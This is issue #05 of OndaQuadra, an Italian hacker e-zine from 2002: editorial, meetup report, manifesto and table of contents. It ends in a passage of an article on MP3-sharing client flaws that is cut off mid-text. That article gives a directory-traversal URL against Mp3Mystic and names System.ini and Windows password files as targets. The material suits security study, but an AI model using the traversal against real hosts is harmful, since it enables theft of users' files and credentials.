Copy Link
Add to Bookmark
Report

OndaQuadra 05

eZine's profile picture
Published in 
OndaQuadra
 · 26 Apr 2019

  

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
::::::::::::, .::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::,. i@@@@@@#. .:::::, .,:::::::::, ,rs: :: ,,,,,,,,;,:
::::::, r@@@@@@@@@@@@@; ,:: rM@@Hs. .:::::::. @@@i,:@@ ;@@@@@@@s.,:
:::::. 2@@@ :@@@@@@@H .:, @@@@@@@@@@: .:::::. s@@H @@# ;Mr ,::
:::: i@@@5 ,,, M@@@@@@r :,:@@@@@@@@@@@; ,:::, ;@@@ #@@S GH;AAA@@2 ,::
:::, A@@@@ :::::, @@@@@@@ :, #@@@@@@@@ :::, @@@, s@@A :@@@,,:::
::: .@@@@@ ,:::::. S@@@@@S :::, 5@@@@@@@@@: ,::, H@@ r@@9 , . ;@@@, ,::
::: i@@@@@h .::::. r@@@@r .::: @@@@@@@@@@@ ,:: @@:,@@@. @@i;r@@@A .:::
::: i@@@@@@B @@@@ .::, G@@@@@@@@@@@; ., ;r: . ,rSr, ,::::
::: @@@@@@@@@Gr,2@@@s ,::. r@@@@@@@@@@@@@@# .,...,,:::,,....,,:::::::
:::, .@@@@@@@@@@@@@, ,::, .@@@@@@@@@@@@@@@@@@@H ,::::::::::::::::::::::
::::, X@@@@@@r .::::: @@@@@@@@@@@@@@@@@@@@@@@5 ,:::::::::::::::::::::
::::::. .,::::, H@@@@@@@@@@@@@@@@@@@@@@@@# .::::::::::::::::::::
::::::::. ,:. @@@@@@@@@@@@@@@@@@@@@@@@@@@; .::::::::::::::::::
:::::. ;@@@@@@@@@@@i .. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@. .:::::::::::::::::
:::, @@@r .M@@@@@@@9 . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@s .::::::::::::::::
::. @@@H .,. @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r ,:::::::::::::::
:, ,@@@@ :::::. @@@@@@S , 9@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ :::::::::::::::
: @@@@2 ,::::::. ;@@@@@r :, 2@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::::::::::::::
: 5@@@@H ::::::: .@@@@@ .:::, @@@@@@@@@@@@@@@@@@@@@@@@@H.3,,::::::::::::::
: H@@@@@r ,,,, 5@@@A ::::: @@@@@@@@@@@@@@@@@@@@@@@@@@2 ,::::::::::::::
: i@@@@@@@, @@@A ,:::::. @@@@@@@@@@@@@@@@@@@@@@@@@@@, :::::::::::::::
:. A@@@@@@@@@@@@@@5 ,:::::::, @@@@@@@@@@@@@@@@@@@@@@@@@@@2 :::::::::::::::
:: 2@@@@@@@@@X ,:::::, M@@;s@@,@@@@@@@@@@@@@@@@@@@; :::::::::::::::
:::, M@: .,,.A#AB@@@@; &@@@@@@@@@@@@@@@@@@ :::::::::::::::
:::, ;G@@@@@@@@@@@@@s. :r#@B25@@SH@@@@ 9@@@@@@@@@@@@@@@. .::::::::::::::
:::,;@@@@@@@@@@@@@@@@@@@@#; ,A@@rs@@@@@@@@@@@@@@. .:::::::::::::
:::, r@@@@@@@@@@@@@@@@A, .@@@@@@@@@@@@@@@B :::::,. ,::
::::::::::,. ,B@@@@@@@@@@@@@@@@#r ;G@@@@@@@@@@@: . A@h,::
:::::::::::::::,. :G@@@@@@@@@@@@@@@@@9: i@@@@@#. r@@@@@r ,::
::::::::::::::::::::,. rM@@@@@@@@@@@@@@@@@@9s 2@@@@@@M, ,:::
:::::::::::::::::::::::::,, .i#@@@@@@@@@@@@@@@@@@@@@@@S. ,,::::::
:::::::::::::::::::::::::::::::,,. .,:::::::::::
::::::::::::::::::::::::::::::::::::::,,,...............,,::::::::::::::::::

+--------------------------------------------------------------------------+
| ONDAQUADRA #05 - 14/01/2002 |
+--------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+--------------------------------------------------------------------------+
| http://ondaquadra.cjb.net |
| mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net |
+--------------------------------------------------------------------------+

<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| LEGAL DISCLAIMER |
+--------------------------------------------------------------------------+
| |
| Nessuna persona dello staff di OndaQuadra si assume responsibilita' |
| per l'uso improprio dell'utilizzo dei testi e dei programmi presenti |
| nella e-zine, ne' per danni a terzi derivanti da esso. |
| OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni |
| effettuate con la legge 23 dicembre 1993, n.547 ed in particolare |
| agli artt. 615-quater- e 615-quinques-. |
| Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come |
| avvengono le tecniche di intrusione al fine di far comprendere come |
| sia possibile difendersi da esse, rendere piu' sicura la propria box e |
| in generale approfondire le proprie conoscenze in campo informatico. |
| I programmi allegati sono semplici esempi di programmazione che hanno |
| il solo scopo di permettere una migliore comprensione di quanto |
| discusso e spiegato nei testi. |
| Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, |
| n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex |
| art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge |
| 8 febbraio 1948, n.47. |
| |
+--------------------------------------------------------------------------+

<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
+--------------------------------------------------------------------------+
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Articolo 21 |
| Tutti hanno diritto di manifestare liberamente il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+--------------------------------------------------------------------------+

<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| INDICE |
+--------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 iNTR0 AL NUMER0 05 ................................... [oq ~ staff] |
| 0x02 CR0NACHE DAL BULK .................................... [oq ~ staff] |
| 0x03 RETR: LA P0STA Di 0Q ................................. [oq ~ staff] |
| 0x04 iPSE DiXiT ........................................... [oq ~ staff] |
| 0x05 MiSSi0N .............................................. [oq ~ staff] |
+--------------------------------------------------------------------------+
| [HACKiNG] |
| 0x06 MP3 SHARiNG CLiENT VULNERABiLiTY ........................... [E4zy] |
| 0x07 SiCUREZZA FiSiCA DEi SiSTEMi ............................... [E4zy] |
| 0x08 PR0TEGGiAM0 iL N0STR0 SERVER ....................... [-=Quequero=-] |
+--------------------------------------------------------------------------+
| [NETW0RKiNG] |
| 0x09 iNTR0DUZi0NE ALL'iP MASQUERADiNG .................... [Master Kain] |
| 0x0A iP TABLES .................................................. [E4zy] |
| 0x0B R0UTiNG E ViAGGi0 Di PACCHETTi V 2.0 .................... [XanTHic] |
+--------------------------------------------------------------------------+
| [LiNUX] |
| 0x0C iN SHELL WE TRUST - PARTE 1 .................... [MigthyInquisitor] |
| 0x0D VPN - ViRTUAL PRiVATE NETW0RK ............................. [goony] |
| 0x0E LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD ......... [xyzzy] |
+--------------------------------------------------------------------------+
| [C0DiNG] |
| 0x0F C0RS0 Di C [PARTE QUARTA] ................................ [JEYoNE] |
| 0x10 0S FR0M ZER0 CHAPTER 2 ...................... [Alexander The Great] |
| 0x11 WiNS0CK e ViSUAL BASiC .............................. [Screener_it] |
+--------------------------------------------------------------------------+
| [MiSC] |
| 0x12 GUiDA ALLA CRiTT0GRAFiA ................................ [SonGoten] |
| 0x13 CUTH .................................................... [warfare] |
| 0x14 Ti FACCi0 A FETTE L'ACCADi ................................ [bondo] |
| 0x15 i SiSTEMi 0PERATiVi iN P0CHi SEMPLiCi PASSAGGi .......... [BaBBeuZ] |
| 0x16 CRACKiNG iN WiNDOWS (TRADUZi0NE) ...................... [True-love] |
+--------------------------------------------------------------------------+
| [L0 SCiAMAN0] |
| 0x17 APELL0 ALL'0NU ............................................ [Erman] |
| 0x18 CAiN0 ViV0 0 M0RT0 ................................ [Bruno Franchi] |
| 0x19 UN GR0SS0 DUBBi0 ..................................... [Il Magnano] |
| 0x1A iNF0RMAZi0NE E C0N0SCENZA PER iL NU0V0 MiLLENNi0 . [Virgilio Violo] |
+--------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0x1B GUiDA SUL MiRC SCRiPTiNG [PARTE TERZA] .......... [[]_CyBeRPuNK_[]] |
| 0x1C GAB0LE iN iRC ..................................... [Xp Terminator] |
| 0x1D iNTERFACCiA GRAFiCA PER iL MEM0SERV ............... [Master^Shadow] |
| 0x1E i META TAGS .................................... [MightyInquisitor] |
| 0x1F SED ...................................................... [Domin3] |
| 0x20 0PERAZi0Ni iN C0NS0LE S0TT0 WiN32 ...................... [_d31m0s_] |
| 0x21 KRY0 ..................................................... [lesion] |
+--------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x22 DiVAGAZi0Ni N0TTURNE .................................. [Malkavian] |
+--------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x23 D0VE TR0VARCi ........................................ [oq ~ staff] |
+--------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 WiNS0CK_e_VB.ZiP .................................... [Screener_it] |
| 0x02 SED.L0GiC.TXT ............................................ [Domin3] |
| 0x03 MSGUi.MRC ......................................... [Master^Shadow] |
| 0x04 CUTH.C .................................................. [warfare] |
| 0x05 iSWT1.TAR.GZ ................................... [MigthyInquisitor] |
| 0x06 C0NS0LEN.ASM ........................................... [_d31m0s_] |
| 0x07 C0NS0LET.ASM ........................................... [_d31m0s_] |
| 0x08 iPTABLES.TXT ............................................... [E4zy] |
| 0x09 BUGTRAQ-P0ST.TXT ........................................... [E4zy] |
| 0x0A KRY0.TGZ ................................................. [lesion] |
| 0x0B AR0M.EXE .................................... [Alexander The Great] |
+--------------------------------------------------------------------------+

<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 |
| iNTR0 AL NUMER0 05 [oq ~ staff] 0x01/0x23 |
+--------------------------------------------------------------------------+
| |
| Cari lettori, |
| |
| Eccoci giunti al sesto numero di questa e-zine, proprio cosi', siamo al |
| numero #05! |
| Siamo ai primi giorni dell'anno 2002 e per cominciare con il piede |
| giusto vi abbiamo sfornato questo nuovo numero. |
| Questo editoriale e' quello che fra tutti porta piu' innovazioni, |
| cambiamenti e perfezionamenti nell'evoluzione di questo progetto che ad |
| ogni numero aumenta la sua popolarita'. |
| |
| Tanto per cominciare e' bene ribadire la filosofia che sta alla base del |
| progetto stesso: |
| |
| "OndaQuadra e' un progetto fondato da JEYoNE e da Tritemius. E' formato |
| e portato avanti, oltre che dai membri che compongono lo staff, dagli |
| scrittori e da coloro che ci sostengono moralmente, ovvero VOI!" |
| |
| Ci teniamo a ribadire questo perche' e' successo che alcuni ci hanno |
| posto domande del tipo: |
| "OQ e' una crew ristretta?", "OQ da quanti membri e' formata?", "come |
| faccio per entrare?" e via scorrendo... |
| |
| Detto questo cominciamo con le novita', che non sono poche! |
| |
| Come alcuni di voi gia' sapranno, e' in fase di sviluppo il portale di |
| OndaQuadra, eh si avete letto bene, non piu' una semplice pagina in |
| html, ma un vero e proprio angolo digitale dedicato esclusivamente |
| all'e-zine e usufruibile e visitabile da tutti! |
| E' ancora in fase di perfezionamento quindi per l'uscita di questo |
| numero non sara' pronto. |
| Lo stiamo realizzando con le nuove tecnologie messeci a disposizione da |
| gente che ne sa sicuramente piu' di noi, ovvero con il PHP e con il |
| database MySQL...insomma un buon presagio per un portale dinamico, che |
| ne pensate? |
| Tutto questo facilitera' notevolmente la lettura degli articoli on-line, |
| l'archiviazione degli stessi, il post di messaggi nel forum, la gestione |
| della mailing list, i contatti tra i lettori, gli scrittori e noi dello |
| staff e cosi' avanti... |
| |
| Per quanto riguarda la versione standard dell'e-zine, quella nel formato |
| txt, abbiamo deciso che oltre a comprimerla nel solito formato oqXX.zip |
| (ormai decomprimibile anche con il comando 'unzip oqXX.zip' dalla shell |
| di sistemi Unix like), la comprimeremo anche come oqXX.tar.gz, formato |
| sicuramente piu' simpatico ai Linuxiani. |
| Oltretutto ci saranno diversi archivi da poter scaricare, il primo e |
| completo oqXX.estensione che conterra' la rivista in formato txt e gli |
| allegati, il secondo oqXXtxt.estensione che conterra' soltanto la |
| rivista in formato txt e il terzo, oqXXatt.estensione che conterra' solo |
| gli allegati. |
| Questo perche' siamo venuti a conoscenza che alcuni lettori leggono OQ |
| senza tener conto degli allegati, e quindi perche' appesantire |
| l'archivio quando si puo' scaricare solo il testo? |
| |
| Un'altra novita' di molto rilievo e' sicuramente il fatto che abbiamo |
| deciso di rendere la rivista completamente aperiodica, ovvero senza una |
| data di uscita piu' o meno stabile come e' stato finora. |
| Questa scelta e' dovuta principalmente al fatto che marcare l'uscita |
| ogni due (o tre che siano) mesi in anticipo e' un fattore che tende a |
| mettere fretta agli autori nella stesura dei propri articoli, ma |
| soprattutto che da un gran da fare a noi dello staff e visto che |
| preferiamo (almeno cerchiamo di preferire) la qualita' alla rigidita' |
| siamo giunti a questa decisione. |
| Spero la condividiate, altrimenti mandateci una mail e fateci sapere |
| come la pensate a riguardo! |
| |
| Altra innovazione che molti di voi avranno notato e' l'impaginazione |
| dell'e-zine, ebbene si, finalmente ci siamo dati un tono e siamo giunti |
| a un buon livello di impaginazione; non piu' come nei primissimi numeri |
| dove un testo poteva avere fino a 150 (o addirittura di piu') caratteri |
| per riga. |
| Nello scorso numero (#04) l'e-zine era impaginata a 80 caratteri, mentre |
| da questo numero e' impaginata a 76 caratteri, pipe '|' e spazi ' ' |
| compresi. Questa decisione l'abbiamo presa per rendere piu' semplice la |
| lettura on-line da parte di chi ha un monitor con risoluzione inferiore |
| alla 1024x768, vale a dire 800x600 o addirittura 640x480 pixel in modo |
| da rendere OndaQuadra un progetto aperto, ancora una volta, a tutti, |
| bello, con uno schema fisso, ma allo stesso tempo con un look flessibile |
| a ogni esigenza dei lettori! |
| Per tutti i lettori che utilizzano un palmare per leggerci (spiacente |
| +MaLaTTiA :P) non c'e' niente da fare, non credo che riusciremo a fare |
| anche la versione a 33 caratteri. |
| |
| Ora, ai lettori piu' attenti, potrebbe venire un dubbio: |
| "Ma se l'e-zine e' cosi' ben impaginata, i sorgenti che riportate |
| all'interno degli articoli piu' tecnici, me li devo ricostruire a mano |
| togliendoci tutti i pipe, gli spazi e riformattando le righe che |
| superano i 72 caratteri di testo effettivo per poterli testare?" |
| Semplice, a questo problema abbiamo ovviato, dove possibile, aggiungendo |
| al file allegati.estensione i sorgenti in questione pronti per essere |
| testati o quanto meno studiati! |
| |
| L'ultimo meeting di OndaQuadra si e' svolto nelle giornate di sabato 15 |
| e domenica 16 dicembre 2001 al BULK, ovvero lo stabilimento dove ha sede |
| il LOA, cioe' l'HackLab di Milano. |
| Cogliamo l'occasione per ringraziare infinitamente i LOAniani per la |
| fredda accoglienza (a causa del clima, cosa pensavate... ;)) e per |
| l'enorme ospitalita' che ci hanno dato. |
| Un ringraziamento particolare a c1cc1o e a bomboclat per essersi |
| impegnati a far si che questo incontro fra noi di OQ e loro, LOAniani, |
| abbia preso vita. |
| Un altro ringraziamento a tutti coloro che hanno preso la parola e che |
| hanno partecipato al seminario sul kernel tenutosi, sempre presso il |
| BULK, nella giornata di domenica 16. Siete forti ragazzi, ottimi i talk |
| e le risposte a tutte le domande, continuate cosi'!!! |
| |
| Purtroppo e' giunta l'ora di parlare di una notizia al quanto sgradevole |
| a tutti; ovvero del rippaggio di alcuni articoli comparsi sullo scorso |
| numero...si avete capito bene, proprio cosi'. Ci e' giunta voce, da piu' |
| persone, che alcuni testi sono stati rippati e spacciati per propri da |
| coloro i quali li hanno firmati e inviati a noi. Abbiamo provveduto a |
| controllare la fonte dell'articolo e l'articolo rippato apparso |
| sull'e-zine e le voci, almeno questa volta, erano fondate! |
| Ora, noi della redazione non intendiamo entrare in ambito di un discorso |
| etico, anche perche' richiederebbe piu' tempo e non e' questa la sede, |
| ma ci sembra del tutto scorretto quest'atteggiamento a dir poco |
| anti-etico e ben poco morale quindi da ora in poi tutti gli articoli che |
| ci manderete subiranno un controllo piu' approfondito sull'originalita' |
| e se riterremo che siano, anche in parte, rippati non li pubblicheremo. |
| Questa e' una decisione inapellabile ed e' stata presa per la |
| salvaguardia dell'originalita' e del buon nome dell'e-zine, del suo |
| staff e dei suoi scrittori autentici. |
| Coloro i quali ci hanno mandato e coloro i quali ci manderanno articoli, |
| anche in parte, rippati (senza i riferimenti dell'originalita' del pezzo |
| di testo) non vedranno piu' apparire nessun "loro" articolo su questa |
| e-zine! Speriamo di essere stati chiari, certo pero' e' da tener |
| presente, che dato che negli ultimi tre anni in Italia sono nate |
| svariate e-zine e molti nuovi scrittori, il controllo della qualita' |
| sugli articoli non e' certo una cosa semplice da fare per noi dello |
| staff quindi se voi lettori vi accorgete di eventuali rippaggi nei testi |
| pubblicati sui prossimi numeri dell'e-zine, siete pregati di rendercelo |
| noto via mail o in irc, ve ne saremo davvero grati. |
| |
| Bene, anche questo editoriale e' concluso, non ci resta altro che |
| augurare una buona lettura a tutti, approfittando anche per augurare un |
| felice e sereno 2002! |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 |
| CR0NACHE DAL BULK [oq ~ staff] 0x02/0x23 |
+--------------------------------------------------------------------------+
| |
| Il meeting di OndaQuadra si e' tenuto a Milano nelle giornate di sabato |
| 15 e domenica 16 dicembre e non ha avuto un afflusso di gente come si |
| era pensato all'inizio. |
| Hanno preso parte a questa iniziativa JEYoNE, Sensos, E4zy, xian, TheMR, |
| embyte, io (MightyInquisitor), goony, bitflesh, _FlatMary_ e xyzzy piu' |
| tutti i LOAniani, ovvero i facenti parte del LOA HackLab di Milano che |
| ha sede in Via Nicolini presso lo stabilimento BULK. |
| |
| SABAT0 15 DiCEMBRE |
| Alle 11.00 circa ci siamo incontrati io (MightyInquisitor), E4zy, JEYoNE |
| e TheMR nel centro di Milano, siamo passati a casa di uno di noi a |
| recuperare del "materiale" (!!!) e ci siamo recati al BULK dove ci siamo |
| incontrati con goony. Erano gia' le 13.00 e il nostro stomaco |
| brontolava, quindi ci siamo messi alla ricerca del McDonalds piu' vicino |
| e quando ci siamo arrivati, abbiamo finalmente riempito lo stomaco! |
| Dopo aver "pranzato" ci siamo rediretti al BULK e nel percorso abbiamo |
| incontrato un losco personaggio di nome bitflesh che si e' unito a noi |
| in questa fredda camminata (quasi) invernale. |
| Arrivati al BULK si e' unito a noi xyzzy e finalmente siamo entrati. |
| Wow, che bel posto, davvero bello, un po' freddino, ma bello. |
| Dopo un po' sono arrivati xian, Sensos, embyte e _FlatMary_. |
| Fino a sera siamo rimasti la' al cazzeggio con i LOAniani. |
| Bene, arrivata ora di cena (finalmente si mangia di nuovo...) siamo |
| andati per una via mezza buia (sembrava di essere a China Town!) in un |
| ristorante (se cosi' si puo' chiamare) "poco accogliente", quindi |
| qual'e' stata la nostra azione subito dopo che ci siamo seduti? |
| Semplice, ci siamo alzati e ce ne siamo andati. |
| Alla ricerca di un posto caldo dove sedersi e mangiare, siamo capitati a |
| due passi dal ristorante in un bel ristorantino cinese molto piu' |
| accogliente. |
| Ecco, qui e' cominciata la lunghissima disquisizione riguardo il futuro |
| di OndaQuadra. Sono emersi un sacco di progetti nuovi quali il futuro |
| portale dell'e-zine e la nuova impaginazione dell'e-zine stessa. |
| In un batter d'occhio si era fatto tardi, era mezzanotte quindi ci siamo |
| auto-cacciati dal ristorante alla volta della casa di uno di noi: |
| finalmente un posto davvero caldo, caminetto a legna rulez ;) !!! |
| Qui siamo rimasti (tanto per cambiare...) a parlare di OndaQuadra fino |
| alle 3.20, ora letale per me, ho cominciato a delirare, non ce la facevo |
| piu' quindi, prima che mi prendessero a calci, me la sono squagliata |
| sotto le coperte. |
| Gli altri acari se ne sono rimasti svegli ancora un po', poi tutti a |
| letto, chi in albergo e chi in questa casa calda. |
| |
| DOMENiCA 16 DiCEMBRE |
| La mattina seguente il buon vecchio JEYoNE mi ha svegliato alle 11.00, |
| che bella dormita, ero davvero stanco, "ero ACCES0 da 25 ore..."!!! |
| Ci si lava, si fa colazione e sgattaioliamo in auto alla volta |
| dell'albergo dove alloggiavano il signor xian e il signor E4zy. |
| E' gia' ora di pranzo e cosa si fa? |
| Si cerca un posto dove mangiare nei pressi del BULK. Stavolta capitiamo |
| in una pizzeria...mmm che buona la pizza, e di nuovo giu' a parlare di |
| OndaQuadra. Si fanno le 14, andiamo al BULK e ci incontriamo con |
| bitflesh che era gia' la che ci aspettava smanettando su una "bella" Red |
| Hat 7.1! |
| Cazzeggiamo una mezz'oretta e comincia il seminario sul kernel |
| nell'altra sala del LOA: la HACKLEASS! Bel nome vero?!?!?! |
| Arrivano poi anche TheMR e embyte e continuiamo tutti, chi piu', chi |
| meno, a seguire i vari talk. |
| Ottimo lavoro, davvero un bel seminario, ci voleva. |
| Sono ormai le 17. E' ora di lasciarci. Salutiamo e ringraziamo come si |
| deve tutti i LOAniani e ce ne andiamo. |
| Purtroppo ci si saluta anche tra di noi con la speranza di rivederci il |
| prima possibile... |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 |
| RETR: LA P0STA Di 0Q [oq ~ staff] 0x03/0x23 |
+--------------------------------------------------------------------------+
| |
| Purtroppo per un problema tecnico (ci si e' fottuto un disco!) su |
| questo numero non ci saranno le risposte alle mail dei lettori. |
| Ci dispiace perche' c'erano alcune domande interessanti, anzi proprio |
| per questo la redazione invita tutti i lettori che hanno inviato una |
| mail a mail@ondaquadra.cjb.net a riscriverci. |
| La prossima volta ci impegneremo ad effettuare un backup della mail |
| ricevute! :) |
| Un saluto a tutti, il vostro postino. |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 |
| iPSE DiXiT [oq ~ staff] 0x04/0x23 |
+--------------------------------------------------------------------------+
| |
| "E' piu' facile trovare un amministratore di sistema cretino che |
| un hacker intelligente" |
| Andrea Aparo |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 |
| MiSSi0N [oq ~ staff] 0x05/0x23 |
+--------------------------------------------------------------------------+
| |
| OndaQuadra, l'inaudito battito elettronico di cui avvertiamo |
| l'esistenza quando il bagliore del monitor ci illumina, e |
| l'informazione trasportata dalla luce si proietta giu' nella |
| nostra coscienza. |
| |
| OndaQuadra vuole trovare la Bellezza nei cicli di clock, la |
| Poesia tra i datagrammi, e come l'albatro di Baudelaire e' |
| incurante degli scherni. |
| |
| OndaQuadra e' la volonta' di fuggire dall'alienazione industriale |
| e dallo sradicamento metropolitano, dalla solitudine esistenziale |
| dell'epoca che conosce il prezzo di tutto e il valore di nulla, |
| l'epoca in cui abbiamo tutto ma abbiamo perso noi stessi. |
| |
| Un tuffo nella realta' digitale come una Catarsi, dalla quale |
| riemergere trasfigurati, pronti a intrecciare nuovi rapporti umani |
| piu' veri della realta' mediocre e banale che il destino ci riserva. |
| |
| L'OndaQuadra e' quindi un sogno da affrontare con umilta' e |
| meraviglia, rinunciando ai pregiudizi e ai luoghi comuni, camminando |
| verso il sole, facendo cadere le ombre dell'insulsa polemica e |
| dell'invidia alle nostre spalle. |
| |
| OndaQuadra, l'urlo del nostro cuore di silicio! Un urlo assordante, |
| un monito tremendo ai nemici della liberta', del sopruso, della |
| prepotenza, nel ciberspazio e nella vita reale. |
| |
| Straordinari sono gli strumenti che la tecnologia ci mette a |
| disposizione. |
| Possibilita' infinite di comunicazione. Facciamo che questi |
| strumenti servano per creare una nuova visione del mondo. Utopia e |
| realismo, sogno e concretezza. Iniziamo Noi, qui e ora, ad ascoltare, |
| e ad aiutare in modo disinteressato chi non conosce questo mondo, |
| a non farlo sentire un idiota, un emarginato. |
| |
| Che miseria, la divisione tra clan, tra fazioni. Misero chi |
| cerca un nuovo potere nel ciberspazio! Nuovi sacerdoti, con |
| paraocchi infiniti e cravatte mentali, tornate nei vostri templi, |
| nelle accademie. Nuovi burocrati, conquistadores, qui non |
| siete graditi. |
| Cosi' come non sono graditi i furfanti, i teppisti, gli arrivisti, i |
| fanatici di tutte le risme, gli autoritari, gli amanti delle grandi |
| firme e delle cose per gente di un certo livello. |
| |
| OndaQuadra aspetta chi vuole lavorare, creare, giocare con entusiasmo, |
| chi vede nella tecnologia la possibilita' di un uso non banale; chi |
| non vuole servire le macchine, ma vuole servirsene per rendere meno |
| idiota la propria permanenza sul globo terracqueo; chi comprende |
| che l'infosfera ha un'importanza chiave nel nostro futuro, dal punto di |
| vista sociale e culturale. |
| |
| Questa e' OndaQuadra. E molto altro: cosa,devi dirlo Tu lettore, con |
| le tue idee, con la tua voglia di partecipare, di metterti in gioco, |
| di rischiare. Con la tua volonta' di combattere quei polli che si |
| credono aquile che fanno di tutto per controllarti, per esercitare il |
| loro misero potere, per distruggere i tuoi sogni. |
| |
| Noi apparteniamo alla stirpe dei senza re: scivoliamo nella Rete come |
| ombre, traiamo ispirazione dal lampeggio del cursore, conosciamo il |
| sistema nervoso della modernita', ascoltiamo l'urlo assordante e |
| silenzioso del cuore di silicio, la fuori e dentro di noi: OndaQuadra! |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #05 - 14/01/2002 |
| MP3 SHARiNG CLiENT VULNERABiLiTY [E4zy] 0x06/0x23 |
+--------------------------------------------------------------------------+
| |
| Indice: |
| |
| 1. Intro |
| |
| 2. Mp3Mystic |
| 2.1 Double Dot Bug |
| 2.2 Exploit |
| 2.3 Log file |
| 2.4 Fix |
| |
| 3. Gnutella |
| 3.1 HTML Tags Vulnerability |
| 3.2 Exploit |
| 3.3 Fix |
| |
| 4. Audiogalaxy |
| 4.1 Clear Text Password |
| 4.2 Exploit |
| 4.3 Fix |
| |
| 5. Napster |
| 5.1 String Format Attack |
| 5.2 Bugtraq Post |
| 5.3 Fix |
| |
| 6. Morpheus |
| 6.1 Denial of Service |
| 6.2 Client Information |
| 6.3 Fix |
| |
| 7. Risorse |
| |
| |
| 1. Intro |
| Dal 27 luglio 2000, data di chiusura di Napster, nulla e' piu' stato |
| uguale a prima, la rete e' stata invasa da un numero non ben precisato |
| di software cloni del programma Napster che da qualche tempo ha smesso |
| di cantare :( |
| Con l'esponenziale aumento di questi tool che permettono la condivisione |
| di brani musicali in formato mp3 sono cresciute di pari passo le |
| vulnerabilita' che affliggono molti di questi programmi. |
| Addentriamoci a questo punto nell'analisi dei potenziali rischi |
| associati ad alcuni di questi programmi. |
| Le vulnerabilita' qui di seguito descritte fanno riferimento ai post |
| originali comparsi su Bagtraq qualche tempo fa, lo scopo del presente |
| articolo consiste nella descrizione delle tecniche che permettono di |
| sfruttare ed eliminare i problemi derivanti da un uso di un software non |
| sicuro. |
| |
| 2. Mp3Mystic |
| Easy to hack, flexible, free Personal Streaming music server :D Si |
| tratta di un vero e proprio personal web server per Windows9x che |
| permette di fornire un servizio di condivisione e streaming di file mp3 |
| verso la rete Internet. |
| |
| 2.1 Double Dot Bug |
| Un utente remoto e' in grado di risalire la cartella condivisa e |
| sfogliare l'intero HD al file di prelevare dati riservati dell'utente. |
| |
| 2.2 Exploit |
| E' possibile risalire le directory remote riferendosi alla directory |
| genitore attraverso l'url (../), questo ci consente l'accesso in lettura |
| sull'intero HD remoto, esempio: |
| |
| http://127.0.0.1/../file |
| inserendo tale url nel vostro browser vi connetterete all'utente con IP |
| address 127.0.0.1, che in questo caso rappresenta l'interfaccia di |
| loopback del sistema locale, e sarete in grado di scaricare il file di |
| nome "file" che si trova nella directory genitore. |
| Una puntualizzazione dovuta, il numero di ../ necessari all'interno |
| dell'url dipende dalla directory condivisa dall'utente remoto, ogni ../ |
| corrispondera' a risalire di una directory genitore l'albero del |
| filesystem remoto. |
| I piu' attenti si saranno accorti che affinche' tale operazione abbia |
| successo e' necessario essere a conoscenza del path(1) relativo del file |
| che vogliamo scaricare, in quanto il programma ci permette di |
| visualizzare l'albero delle directory sul sistema remoto ma non i file |
| che non rispondano alle specifiche del formato mp3. |
| |
| (1)path: percorso di un file o di una directory, esso puo' essere |
| assoluto (es. c:\windows) oppure relativo (es. ..\windows) |
| |
| Ecco l'elenco dei file che ritengo a rischio in caso di intrusione: |
| |
| System.ini: |
| Contiene dati sensibili riguardo alla configurazione del sistema tra cui |
| il percorso assoluto dei file delle password di Windows che possono in |
| tal modo essere prelevati. |
| |
| |
| ----------- System.ini ----------- |
| |
| [boot] |
| system.drv=system.drv |
| drivers=mmsystem.dll power.drv |
| shell=Explorer.exe |
| user.exe=user.exe |
| gdi.exe=gdi.exe |
| sound.drv=mmsound.drv |
| dibeng.drv=dibeng.dll |
| comm.drv=comm.drv |
| mouse.drv=lmouse.drv |
| keyboard.drv=keyboard.drv |
| |
| .... |
| |
| [Password Lists] |
